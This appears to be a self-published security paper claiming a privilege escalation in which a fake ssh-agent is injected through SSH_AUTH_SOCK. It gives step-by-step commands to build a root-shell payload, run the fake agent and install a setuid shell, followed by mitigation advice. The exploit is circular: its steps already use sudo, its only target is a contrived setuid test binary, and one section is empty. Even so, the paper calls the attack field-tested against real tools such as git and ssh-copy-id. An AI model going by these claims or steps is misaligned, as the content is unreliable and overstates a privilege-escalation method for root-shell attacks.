Variable for Privilege Escalation via Fake ssh-agent

---

Author : GUIAR OQBA

---

🧩 Introduction:

SSH (Secure Shell) is one of the most critical secure communication protocols in modern systems. It is widely used for secure remote access, system administration, and server management.
One of the core components of SSH is the ssh-agent, a background process that holds private keys in memory, allowing applications to use these keys without prompting the user for the passphrase every time.

During an SSH session, the system exports a sensitive environment variable named SSH_AUTH_SOCK, which points to a Unix socket used to communicate with the ssh-agent.
This paper explores how this variable can be hijacked to achieve privilege escalation, by injecting a fake agent and executing a payload with root privileges.

---

🎯 Research Objectives:

• Demonstrate the potential of SSH_AUTH_SOCK as a vector for privilege escalation attacks.

• Present a practical scenario showing how to inject a fake agent and lure trusted system applications into communicating with it.

• Assess the severity and identify affected applications.

• Provide security recommendations for developers and system administrators.

---

🧪 Exploitation Steps:

✅ Step 1: Prepare the Payload

Compile the root shell binary that will be dropped by the fake agent:

gcc -o myrootsh myrootsh.c
xxd -i myrootsh | sed 's/myrootsh/myrootsh_bin/g' > myrootsh.h

The myrootsh.h file now contains the payload as a C array to be embedded in the fake agent.

---

✅ Step 2: Launch the Fake ssh-agent

sudo ./fake_agent

This program listens on a fake Unix socket: /tmp/fakeagent/ssh-agent.sock
It is ready to drop and activate the payload upon the first connection.

---

✅ Step 3: Trigger the Exploit via mysshtest

export SSH_AUTH_SOCK=/tmp/fakeagent/ssh-agent.sock
./mysshtest

The mysshtest binary is a simple setuid-root application that runs ssh-add -l, simulating real-world agent interaction.

---

✅ Step 4: Activate the Root Shell

sudo cp /tmp/.rootshell /usr/local/bin/.rootshell
sudo chmod 4755 /usr/local/bin/.rootshell
/usr/local/bin/.rootshell

Once executed, the regular user gains access to a root shell.

---

🧭 Discovering Affected Applications:

Use the following commands to identify binaries interacting with SSH_AUTH_SOCK:

grep -r 'ssh-add\|SSH_AUTH_SOCK\|ssh ' /usr/bin /usr/sbin /usr/lib 2>/dev/null
grep -r 'SSH_AUTH_SOCK' /etc /usr 2>/dev/null

---

🔍 Analysis of Affected Applications:

Several real-world applications shipped with distributions like Kali Linux were tested and confirmed to interact with the ssh-agent via SSH_AUTH_SOCK, making them susceptible to fake agent injection.

---

1. /usr/bin/ssh-copy-id

• Function: Copies the user’s public key to the authorized_keys file on the remote machine.

• Agent Interaction: Yes. Relies on ssh-agent if the passphrase isn’t stored.

• Risk Level: 🟠 High
  Hijacking the agent could allow the attacker to redirect the session or inject their own key into the target machine, leading to persistence.

---

2. ssh-add -l

• Function: Lists keys currently loaded in the ssh-agent.

• Agent Interaction: Yes, direct interaction through SSH_AUTH_SOCK.

• Risk Level: 🟡 Medium
  While it doesn’t initiate external connections, it confirms successful agent hijack and may serve as a launch point for the payload.

---

3. git ls-remote git@github.com:...

• Function: Lists branches and refs from a remote Git repository.

• Agent Interaction: Yes. Git invokes ssh, which in turn uses ssh-agent for authentication.

• Risk Level: 🔴 Critical
  Git is often executed in automated environments (CI/CD), possibly with elevated privileges. A fake agent here could result in unauthorized remote connections or backdoors during automated fetches.

---

🟥 Risk Ranking Summary:

---

⚠️ Security Analysis:

This attack does not exploit a bug in ssh-agent or Git itself.
Instead, it leverages a design flaw in how environment variables are handled:

• SSH_AUTH_SOCK is an unprotected environment variable and can be manipulated.

• Most applications do not verify the ownership or permissions of the socket.

• If a setuid-root binary uses this variable without sanitization, an indirect privilege escalation occurs.

---

🛡️ Security Recommendations:

To mitigate this class of attacks, developers and sysadmins should:

1. Sanitize the environment in all setuid programs:
   Clear variables like SSH_AUTH_SOCK before executing privileged operations.

2. Verify socket ownership and permissions:
   Avoid trusting arbitrary agents unless the socket is owned by the current user.

3. Reduce reliance on setuid binaries:
   Favor controlled privilege elevation via sudo with strict policies.

4. Enforce AppArmor/SELinux profiles:
   Restrict access to unauthorized Unix sockets using mandatory access control.

5. Audit and monitor ssh-agent interactions:
   Use tools like auditd or strace in sensitive environments to detect misuse.

---

✅ Conclusion:

This paper demonstrates how a seemingly benign environment variable like SSH_AUTH_SOCK can be weaponized for serious privilege escalation.
The exploit is field-tested, reproducible, and effective against real-world tools on popular Linux distributions like Kali Linux.

This attack is categorized as:

Indirect Privilege Escalation via Environment Variable Hijacking

Moreover, it can serve as a foundation for more advanced threats such as:

• CI/CD pipeline compromises

• Development-stage backdooring

• Persistent access in production systems

📫 Author

👤 Name: GUIAR OQBA

📧 Email: techokba@gmail.com

🌐 ORCID: https://orcid.org/0009-0008-1629-0002

💼 LinkedIn: https://www.linkedin.com/in/guiar-oqba-0207a9253/

💻 GitHub: https://github.com/okba14

📚 dev.io: https://dev.to/okba_elkantara/

✈️ Telegram: Okba_Elkantara

📱 Phone: +2136-71-36-04-38